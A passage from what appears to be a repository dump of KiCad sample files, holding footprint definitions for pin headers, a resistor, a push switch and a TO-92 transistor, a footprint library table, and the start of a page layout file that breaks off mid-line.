    "content": "(module footprints:Pin_Header_Straight_2x02 (layer F.Cu) (tedit 0)\n  (descr \"Through hole pin header\")\n  (tags \"pin header\")\n  (fp_text reference P1 (at 0 -5.1) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_text value PWR_JUMPER (at 0 -3.1) (layer F.Fab)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_line (start -1.75 -1.75) (end -1.75 4.3) (layer F.CrtYd) (width 0.05))\n  (fp_line (start 4.3 -1.75) (end 4.3 4.3) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -1.75 -1.75) (end 4.3 -1.75) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -1.75 4.3) (end 4.3 4.3) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -1.55 0) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))\n  (fp_line (start 0 -1.55) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))\n  (fp_line (start -1.27 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 1.27 -1.27) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 -1.27) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 3.81) (end -1.27 3.81) (layer F.SilkS) (width 0.15))\n  (fp_line (start -1.27 3.81) (end -1.27 1.27) (layer F.SilkS) (width 0.15))\n  (pad 1 thru_hole rect (at 0 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 2 thru_hole oval (at 2.54 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 3 thru_hole oval (at 0 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 4 thru_hole oval (at 2.54 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (model Pin_Headers.3dshapes/Pin_Header_Straight_2x02.wrl\n    (at (xyz 0.05 -0.05 0))\n    (scale (xyz 1 1 1))\n    (rotate (xyz 0 0 90))\n  )\n)\n"
  },
  {
    "path": "samples/KiCad Layout/Pin_Header_Straight_2x20.kicad_mod",
    "content": "(module footprints:Pin_Header_Straight_2x20 (layer F.Cu) (tedit 0)\n  (descr \"Through hole pin header\")\n  (tags \"pin header\")\n  (fp_text reference XA2 (at 0 -5.1) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_text value Conn_Poncho2P_2x_20x2 (at 0 -3.1) (layer F.Fab)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_line (start -1.75 -1.75) (end -1.75 50.05) (layer F.CrtYd) (width 0.05))\n  (fp_line (start 4.3 -1.75) (end 4.3 50.05) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -1.75 -1.75) (end 4.3 -1.75) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -1.75 50.05) (end 4.3 50.05) (layer F.CrtYd) (width 0.05))\n  (fp_line (start 3.81 49.53) (end 3.81 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start -1.27 1.27) (end -1.27 49.53) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 49.53) (end -1.27 49.53) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 -1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 0 -1.55) (end -1.55 -1.55) (layer F.SilkS) (width 0.15))\n  (fp_line (start 1.27 -1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 1.27 1.27) (end -1.27 1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start -1.55 -1.55) (end -1.55 0) (layer F.SilkS) (width 0.15))\n  (pad 1 thru_hole rect (at 0 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 2 thru_hole oval (at 2.54 0) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 3 thru_hole oval (at 0 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 4 thru_hole oval (at 2.54 2.54) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 5 thru_hole oval (at 0 5.08) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 6 thru_hole oval (at 2.54 5.08) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 7 thru_hole oval (at 0 7.62) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 8 thru_hole oval (at 2.54 7.62) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 9 thru_hole oval (at 0 10.16) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 10 thru_hole oval (at 2.54 10.16) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 11 thru_hole oval (at 0 12.7) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 12 thru_hole oval (at 2.54 12.7) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 13 thru_hole oval (at 0 15.24) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 14 thru_hole oval (at 2.54 15.24) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 15 thru_hole oval (at 0 17.78) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 16 thru_hole oval (at 2.54 17.78) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 17 thru_hole oval (at 0 20.32) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 18 thru_hole oval (at 2.54 20.32) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 19 thru_hole oval (at 0 22.86) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 20 thru_hole oval (at 2.54 22.86) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 21 thru_hole oval (at 0 25.4) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 22 thru_hole oval (at 2.54 25.4) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 23 thru_hole oval (at 0 27.94) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 24 thru_hole oval (at 2.54 27.94) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 25 thru_hole oval (at 0 30.48) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 26 thru_hole oval (at 2.54 30.48) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 27 thru_hole oval (at 0 33.02) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 28 thru_hole oval (at 2.54 33.02) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 29 thru_hole oval (at 0 35.56) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 30 thru_hole oval (at 2.54 35.56) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 31 thru_hole oval (at 0 38.1) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 32 thru_hole oval (at 2.54 38.1) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 33 thru_hole oval (at 0 40.64) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 34 thru_hole oval (at 2.54 40.64) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 35 thru_hole oval (at 0 43.18) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 36 thru_hole oval (at 2.54 43.18) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 37 thru_hole oval (at 0 45.72) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 38 thru_hole oval (at 2.54 45.72) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 39 thru_hole oval (at 0 48.26) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (pad 40 thru_hole oval (at 2.54 48.26) (size 1.7272 1.7272) (drill 1.016) (layers *.Cu *.Mask F.SilkS))\n  (model Pin_Headers.3dshapes/Pin_Header_Straight_2x20.wrl\n    (at (xyz 0.05 -0.95 0))\n    (scale (xyz 1 1 1))\n    (rotate (xyz 0 0 90))\n  )\n)\n"
  },
  {
    "path": "samples/KiCad Layout/Resistor_Horizontal_RM7mm.kicad_mod",
    "content": "(module footprints:Resistor_Horizontal_RM7mm (layer F.Cu) (tedit 569FCF07)\n  (descr \"Resistor, Axial,  RM 7.62mm, 1/3W,\")\n  (tags \"Resistor Axial RM 7.62mm 1/3W R3\")\n  (fp_text reference R18 (at 4.05892 -3.50012) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_text value 680 (at 3.81 3.81) (layer F.Fab)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_line (start -1.25 -1.5) (end 8.85 -1.5) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -1.25 1.5) (end -1.25 -1.5) (layer F.CrtYd) (width 0.05))\n  (fp_line (start 8.85 -1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -1.25 1.5) (end 8.85 1.5) (layer F.CrtYd) (width 0.05))\n  (fp_line (start 1.27 -1.27) (end 6.35 -1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 6.35 -1.27) (end 6.35 1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 6.35 1.27) (end 1.27 1.27) (layer F.SilkS) (width 0.15))\n  (fp_line (start 1.27 1.27) (end 1.27 -1.27) (layer F.SilkS) (width 0.15))\n  (pad 1 thru_hole circle (at 0 0) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask))\n  (pad 2 thru_hole circle (at 7.62 0) (size 1.99898 1.99898) (drill 1.00076) (layers *.Cu *.SilkS *.Mask))\n)\n"
  },
  {
    "path": "samples/KiCad Layout/SW_PUSH_SMALL.kicad_mod",
    "content": "(module footprints:SW_PUSH_SMALL (layer F.Cu) (tedit 0)\n  (fp_text reference SW7 (at 0 -0.762) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_text value SW_PUSH (at 0 1.016) (layer F.Fab)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_circle (center 0 0) (end 0 -2.54) (layer F.SilkS) (width 0.15))\n  (fp_line (start -3.81 -3.81) (end 3.81 -3.81) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 -3.81) (end 3.81 3.81) (layer F.SilkS) (width 0.15))\n  (fp_line (start 3.81 3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n  (fp_line (start -3.81 -3.81) (end -3.81 3.81) (layer F.SilkS) (width 0.15))\n  (pad 1 thru_hole circle (at 3.81 -2.54) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS))\n  (pad 2 thru_hole circle (at 3.81 2.54) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS))\n  (pad 1 thru_hole circle (at -3.81 -2.54) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS))\n  (pad 2 thru_hole circle (at -3.81 2.54) (size 1.397 1.397) (drill 0.8128) (layers *.Cu *.Mask F.SilkS))\n)\n"
  },
  {
    "path": "samples/KiCad Layout/TO-92_Molded_Narrow.kicad_mod",
    "content": "(module footprints:TO-92_Molded_Narrow (layer F.Cu) (tedit 54F242E1)\n  (descr \"TO-92 leads molded, narrow, drill 0.6mm (see NXP sot054_po.pdf)\")\n  (tags \"to-92 sc-43 sc-43a sot54 PA33 transistor\")\n  (fp_text reference Q5 (at 0 -4) (layer F.SilkS)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_text value BC547 (at 0 3) (layer F.Fab)\n    (effects (font (size 1 1) (thickness 0.15)))\n  )\n  (fp_line (start -1.4 1.95) (end -1.4 -2.65) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -1.4 1.95) (end 3.9 1.95) (layer F.CrtYd) (width 0.05))\n  (fp_line (start -0.43 1.7) (end 2.97 1.7) (layer F.SilkS) (width 0.15))\n  (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle -135) (layer F.SilkS) (width 0.15))\n  (fp_arc (start 1.27 0) (end 1.27 -2.4) (angle 135) (layer F.SilkS) (width 0.15))\n  (fp_line (start -1.4 -2.65) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n  (fp_line (start 3.9 1.95) (end 3.9 -2.65) (layer F.CrtYd) (width 0.05))\n  (pad 2 thru_hole circle (at 1.27 -1.27 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS))\n  (pad 3 thru_hole circle (at 2.54 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS))\n  (pad 1 thru_hole circle (at 0 0 90) (size 1.00076 1.00076) (drill 0.6) (layers *.Cu *.Mask F.SilkS))\n  (model TO_SOT_Packages_THT.3dshapes/TO-92_Molded_Narrow.wrl\n    (at (xyz 0.05 0 0))\n    (scale (xyz 1 1 1))\n    (rotate (xyz 0 0 -90))\n  )\n)\n"
  },
  {
    "path": "samples/KiCad Layout/filenames/fp-lib-table",
    "content": "(fp_lib_table\n  (lib (name Air_Coils_SML_NEOSID)(type Github)(uri ${KIGITHUB}/Air_Coils_SML_NEOSID.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Buttons_Switches_SMD)(type Github)(uri ${KIGITHUB}/Buttons_Switches_SMD.pretty)(options \"\")(descr \"Buttons and switches, surface mount\"))\n  (lib (name Buttons_Switches_THT)(type Github)(uri ${KIGITHUB}/Buttons_Switches_THT.pretty)(options \"\")(descr \"Buttons and switches, through hole\"))\n  (lib (name Buzzers_Beepers)(type Github)(uri ${KIGITHUB}/Buzzers_Beepers.pretty)(options \"\")(descr \"Audio signalling devices\"))\n  (lib (name Capacitors_SMD)(type Github)(uri ${KIGITHUB}/Capacitors_SMD.pretty)(options \"\")(descr \"Capacitors, surface mount\"))\n  (lib (name Capacitors_Tantalum_SMD)(type Github)(uri ${KIGITHUB}/Capacitors_Tantalum_SMD.pretty)(options \"\")(descr \"Tantalum capacitors, surface mount\"))\n  (lib (name Capacitors_THT)(type Github)(uri ${KIGITHUB}/Capacitors_THT.pretty)(options \"\")(descr \"Capacitors, through hole\"))\n  (lib (name Choke_Axial_ThroughHole)(type Github)(uri ${KIGITHUB}/Choke_Axial_ThroughHole.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Choke_Common-Mode_Wurth)(type Github)(uri ${KIGITHUB}/Choke_Common-Mode_Wurth.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Choke_Radial_ThroughHole)(type Github)(uri ${KIGITHUB}/Choke_Radial_ThroughHole.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Choke_SMD)(type Github)(uri ${KIGITHUB}/Choke_SMD.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Choke_Toroid_ThroughHole)(type Github)(uri ${KIGITHUB}/Choke_Toroid_ThroughHole.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Connectors_Harwin)(type Github)(uri ${KIGITHUB}/Connectors_Harwin.pretty)(options \"\")(descr \"Harwin connector footprints www.harwin.com\"))\n  (lib (name Connectors_Hirose)(type Github)(uri ${KIGITHUB}/Connectors_Hirose.pretty)(options \"\")(descr \"Hirose connector footprints www.hirose.com\"))\n  (lib (name Connectors_JAE)(type Github)(uri ${KIGITHUB}/Connectors_JAE.pretty)(options \"\")(descr \"JAE connector footprints http://www.jae.com/jccom/en/connectors\"))\n  (lib (name Connectors_JST)(type Github)(uri ${KIGITHUB}/Connectors_JST.pretty)(options \"\")(descr \"JST connector footprints www.jst.com\"))\n  (lib (name Connectors_Mini-Universal)(type Github)(uri ${KIGITHUB}/Connectors_Mini-Universal.pretty)(options \"\")(descr Mate-N-Lok))\n  (lib (name Connectors_Molex)(type Github)(uri ${KIGITHUB}/Connectors_Molex.pretty)(options \"\")(descr \"Molex connector foottprints www.molex.com\"))\n  (lib (name Connectors_Multicomp)(type Github)(uri ${KIGITHUB}/Connectors_Multicomp.pretty)(options \"\")(descr \"Multicomp connector footprints\"))\n  (lib (name Connectors_Phoenix)(type Github)(uri ${KIGITHUB}/Connectors_Phoenix.pretty)(options \"\")(descr \"Phoenix connector footprints\"))\n  (lib (name Connectors_Samtec)(type Github)(uri ${KIGITHUB}/Connectors_Samtec.pretty)(options \"\")(descr \"Samtec connector footprints\"))\n  (lib (name Connectors_TE-Connectivity)(type Github)(uri ${KIGITHUB}/Connectors_TE-Connectivity.pretty)(options \"\")(descr \"TE Connectivity connector footprints www.te.com\"))\n  (lib (name Connectors_Terminal_Blocks)(type Github)(uri ${KIGITHUB}/Connectors_Terminal_Blocks.pretty)(options \"\")(descr \"Terminal block connectors\"))\n  (lib (name Connectors_WAGO)(type Github)(uri ${KIGITHUB}/Connectors_WAGO.pretty)(options \"\")(descr \"WAGO connector footprints www.wago.com\"))\n  (lib (name Connectors)(type Github)(uri ${KIGITHUB}/Connectors.pretty)(options \"\")(descr \"Assorted connector footprints\"))\n  (lib (name Converters_DCDC_ACDC)(type Github)(uri ${KIGITHUB}/Converters_DCDC_ACDC.pretty)(options \"\")(descr \"DC-DC and AC-DC convertor modules\"))\n  (lib (name Crystals)(type Github)(uri ${KIGITHUB}/Crystals.pretty)(options \"\")(descr \"Crystals and oscillators\"))\n  (lib (name Diodes_SMD)(type Github)(uri ${KIGITHUB}/Diodes_SMD.pretty)(options \"\")(descr \"Diodes, surface mount\"))\n  (lib (name Diodes_THT)(type Github)(uri ${KIGITHUB}/Diodes_THT.pretty)(options \"\")(descr \"Diodes, through hole\"))\n  (lib (name Discret)(type Github)(uri ${KIGITHUB}/Discret.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Displays_7-Segment)(type Github)(uri ${KIGITHUB}/Displays_7-Segment.pretty)(options \"\")(descr \"Seven segment displays\"))\n  (lib (name Displays)(type Github)(uri ${KIGITHUB}/Displays.pretty)(options \"\")(descr \"Display modules\"))\n  (lib (name Divers)(type Github)(uri ${KIGITHUB}/Divers.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Enclosures)(type Github)(uri ${KIGITHUB}/Enclosures.pretty)(options \"\")(descr \"Electronics enclosures and housings\"))\n  (lib (name EuroBoard_Outline)(type Github)(uri ${KIGITHUB}/EuroBoard_Outline.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Fiducials)(type Github)(uri ${KIGITHUB}/Fiducials.pretty)(options \"\")(descr \"Fiducial markings\"))\n  (lib (name Filters_HF_Coils_NEOSID)(type Github)(uri ${KIGITHUB}/Filters_HF_Coils_NEOSID.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Fuse_Holders_and_Fuses)(type Github)(uri ${KIGITHUB}/Fuse_Holders_and_Fuses.pretty)(options \"\")(descr \"Fuses and fuse holders\"))\n  (lib (name Hall-Effect_Transducers_LEM)(type Github)(uri ${KIGITHUB}/Hall-Effect_Transducers_LEM.pretty)(options \"\")(descr \"LEM hall effect transducers\"))\n  (lib (name Heatsinks)(type Github)(uri ${KIGITHUB}/Heatsinks.pretty)(options \"\")(descr \"Heatsinks and thermal products\"))\n  (lib (name Housings_BGA)(type Github)(uri ${KIGITHUB}/Housings_BGA.pretty)(options \"\")(descr \"Ball Grid Array (BGA)\"))\n  (lib (name Housings_DFN_QFN)(type Github)(uri ${KIGITHUB}/Housings_DFN_QFN.pretty)(options \"\")(descr \"Surface mount IC packages, DFN / LGA / QFN\"))\n  (lib (name Housings_DIP)(type Github)(uri ${KIGITHUB}/Housings_DIP.pretty)(options \"\")(descr \"Through hole IC packages, DIP\"))\n  (lib (name Housings_LCC)(type Github)(uri ${KIGITHUB}/Housings_LCC.pretty)(options \"\")(descr \"Leaded Chip Carriers (LCC)\"))\n  (lib (name Housings_LGA)(type Github)(uri ${KIGITHUB}/Housings_LGA.pretty)(options \"\")(descr \"Land Grid Array (LGA)\"))\n  (lib (name Housings_PGA)(type Github)(uri ${KIGITHUB}/Housings_PGA.pretty)(options \"\")(descr \"Pin Grid Array (PGA)\"))\n  (lib (name Housings_QFP)(type Github)(uri ${KIGITHUB}/Housings_QFP.pretty)(options \"\")(descr \"Quad Flat Package (QFP)\"))\n  (lib (name Housings_SIP)(type Github)(uri ${KIGITHUB}/Housings_SIP.pretty)(options \"\")(descr \"Single Inline Package (SIP)\"))\n  (lib (name Housings_SOIC)(type Github)(uri ${KIGITHUB}/Housings_SOIC.pretty)(options \"\")(descr \"Small Outline Integrated Circuits (SOIC)\"))\n  (lib (name Housings_SSOP)(type Github)(uri ${KIGITHUB}/Housings_SSOP.pretty)(options \"\")(descr \"SSOP, TSSOP, MSOP, QSOP, VSO packages\"))\n  (lib (name Inductors_NEOSID)(type Github)(uri ${KIGITHUB}/Inductors_NEOSID.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Inductors)(type Github)(uri ${KIGITHUB}/Inductors.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Inductors_SMD)(type Github)(uri ${KIGITHUB}/Inductors_SMD.pretty)(options \"\")(descr \"Inductors, surface mount\"))\n  (lib (name Inductors_THT)(type Github)(uri ${KIGITHUB}/Inductors_THT.pretty)(options \"\")(descr \"Inductors, through hole\"))\n  (lib (name IR-DirectFETs)(type Github)(uri ${KIGITHUB}/IR-DirectFETs.pretty)(options \"\")(descr \"DirectFet packets from International Rectifier\"))\n  (lib (name Labels)(type Github)(uri ${KIGITHUB}/Labels.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name LEDs)(type Github)(uri ${KIGITHUB}/LEDs.pretty)(options \"\")(descr \"Light emitting diodes (LEDs)\"))\n  (lib (name Measurement_Points)(type Github)(uri ${KIGITHUB}/Measurement_Points.pretty)(options \"\")(descr \"Terminals for test equipment\"))\n  (lib (name Measurement_Scales)(type Github)(uri ${KIGITHUB}/Measurement_Scales.pretty)(options \"\")(descr \"Measurement scales and gauges\"))\n  (lib (name Mechanical_Sockets)(type Github)(uri ${KIGITHUB}/Mechanical_Sockets.pretty)(options \"\")(descr \"Sockets for board to board connection\"))\n  (lib (name Microwave)(type Github)(uri ${KIGITHUB}/Microwave.pretty)(options \"\")(descr \"Microwave\"))\n  (lib (name Modules)(type Github)(uri ${KIGITHUB}/Modules.pretty)(options \"\")(descr \"Board-level devices integrating system functionality into a single module\"))\n  (lib (name Mounting_Holes)(type Github)(uri ${KIGITHUB}/Mounting_Holes.pretty)(options \"\")(descr \"Mechanical fasteners\"))\n  (lib (name NF-Transformers_ETAL)(type Github)(uri ${KIGITHUB}/NF-Transformers_ETAL.pretty)(options \"\")(descr \"Deprecated - will be deleted\"))\n  (lib (name Oddities)(type Github)(uri ${KIGITHUB}/Oddities.pretty)(options \"\")(descr \"Assorted footprints. Deprecated - will be removed\"))\n  (lib (name Opto-Devices)(type Github)(uri ${KIGITHUB}/Opto-Devices.pretty)(options \"\")(descr \"Optocouplers, light sensors, and other optical devices\"))\n  (lib (name Oscillators)(type Github)(uri ${KIGITHUB}/Oscillators.pretty)(options \"\")(descr \"Precicision oscillator modules\"))\n  (lib (name PFF_PSF_PSS_Leadforms)(type Github)(uri ${KIGITHUB}/PFF_PSF_PSS_Leadforms.pretty)(options \"\")(descr \"Allegro leadform packages\"))\n  (lib (name Pin_Headers)(type Github)(uri ${KIGITHUB}/Pin_Headers.pretty)(options \"\")(descr \"Male pin headers\"))\n  (lib (name Potentiometers)(type Github)(uri ${KIGITHUB}/Potentiometers.pretty)(options \"\")(descr \"Potentiometers / variable resistors\"))\n  (lib (name Power_Integrations)(type Github)(uri ${KIGITHUB}/Power_Integrations.pretty)(options \"\")(descr \"Power Integrations footprints\"))\n  (lib (name Relays_THT)(type Github)(uri ${KIGITHUB}/Relays_THT.pretty)(options \"\")(descr \"Through hole relay packages\"))\n  (lib (name Resistors_SMD)(type Github)(uri ${KIGITHUB}/Resistors_SMD.pretty)(options \"\")(descr \"Resistors, surface mount\"))\n  (lib (name Resistors_THT)(type Github)(uri ${KIGITHUB}/Resistors_THT.pretty)(options \"\")(descr \"Resistors, through hole\"))\n  (lib (name Resistors_Universal)(type Github)(uri ${KIGITHUB}/Resistors_Universal.pretty)(options \"\")(descr Experimental))\n  (lib (name RF_Modules)(type Github)(uri ${KIGITHUB}/RF_Modules.pretty)(options \"\")(descr \"Radio-frequency / wireless modules\"))\n  (lib (name Shielding_Cabinets)(type Github)(uri ${KIGITHUB}/Shielding_Cabinets.pretty)(options \"\")(descr \"RF / EMI shields\"))\n  (lib (name SMD_Packages)(type Github)(uri ${KIGITHUB}/SMD_Packages.pretty)(options \"\")(descr \"Various SMD packages. Read only - footprints will be moved to other libraries\"))\n  (lib (name Sockets_MOLEX_KK-System)(type Github)(uri ${KIGITHUB}/Sockets_MOLEX_KK-System.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Socket_Strips)(type Github)(uri ${KIGITHUB}/Socket_Strips.pretty)(options \"\")(descr \"Female socket strips\"))\n  (lib (name Sockets)(type Github)(uri ${KIGITHUB}/Sockets.pretty)(options \"\")(descr \"IC sockets\"))\n  (lib (name Symbols)(type Github)(uri ${KIGITHUB}/Symbols.pretty)(options \"\")(descr \"PCB symbols\"))\n  (lib (name TO_SOT_Packages_SMD)(type Github)(uri ${KIGITHUB}/TO_SOT_Packages_SMD.pretty)(options \"\")(descr \"Surface mount transistor packages\"))\n  (lib (name TO_SOT_Packages_THT)(type Github)(uri ${KIGITHUB}/TO_SOT_Packages_THT.pretty)(options \"\")(descr \"Through hole transistor packages\"))\n  (lib (name Transformers_CHK)(type Github)(uri ${KIGITHUB}/Transformers_CHK.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Transformers_SMD)(type Github)(uri ${KIGITHUB}/Transformers_SMD.pretty)(options \"\")(descr \"Surface mount transformers\"))\n  (lib (name Transformers_SMPS_ThroughHole)(type Github)(uri ${KIGITHUB}/Transformers_SMPS_ThroughHole.pretty)(options \"\")(descr \"Deprecated - will be removed\"))\n  (lib (name Transformers_THT)(type Github)(uri ${KIGITHUB}/Transformers_THT.pretty)(options \"\")(descr \"Through hole transformers\"))\n  (lib (name Transistors_OldSowjetAera)(type Github)(uri ${KIGITHUB}/Transistors_OldSowjetAera.pretty)(options \"\")(descr \"Sowjet transistors\"))\n  (lib (name Valves)(type Github)(uri ${KIGITHUB}/Valves.pretty)(options \"\")(descr \"Valves\"))\n  (lib (name Varistors)(type Github)(uri ${KIGITHUB}/Varistors.pretty)(options \"\")(descr \"Varistors\"))\n  (lib (name Wire_Connections_Bridges)(type Github)(uri ${KIGITHUB}/Wire_Connections_Bridges.pretty)(options \"\")(descr \"PCB bridging points\"))\n  (lib (name Wire_Pads)(type Github)(uri ${KIGITHUB}/Wire_Pads.pretty)(options \"\")(descr \"Direct wire-to-board connection points\"))\n)\n"
  },
  {
    "path": "samples/KiCad Layout/kivicad.kicad_wks",
    "content": "( page_layout\n    ( setup (textsize 1.5 1.5) (linewidth 0.15) (textlinewidth 0.15) )\n    ( rect (comment \"rect around the title block\") (linewidth 0.15) (start 110 34) (end 2 2) )\n    ( rect (start 0 0 ltcorner) (end 0 0 rbcorner) (repeat 2) (incrx 2) (incry 2) )\n    ( line (start 50 2 ltcorner) (end 50 0 ltcorner) (repeat 30) (incrx 50) )\n    ( tbtext \"1\" (pos 25 1 ltcorner) (font (size 1.3 1.3))(repeat 100) (incrx 50) )\n    ( line (start 50 2 lbcorner) (end 50 0 lbcorner) (repeat 30) (incrx 50) )\n    ( tbtext \"1\" (pos 25 1 lbcorner) (font (size 1.3 1.3)) (repeat 100) (incrx 50) )\n    ( line (start 0 50 ltcorner) (end 2 50 ltcorner) (repeat 30) (incry 50) )\n    ( tbtext \"A\" (pos 1 25 ltcorner) (font (size 1.3 1.3))\n        (justify center)(repeat 100) (incry 50) )\n    ( line (start 0 50 rtcorner) (end 2 50 rtcorner) (repeat 30) (incry 50) )\n    ( tbtext \"A\" (pos 1 25 rtcorner) (font (size 1.3 1.3))\n        (justify center) (repeat 100) (incry 50) )\n    ( tbtext \"Date: %D\" (pos 87 6.9) )\n    ( line (start 110 5.5) (end 2 5.5) )\n    ( tbtext \"%K\" (pos 109 4.1) (comment \"Kicad version\" ) )\n    ( line (start 110 8.5) (end 2 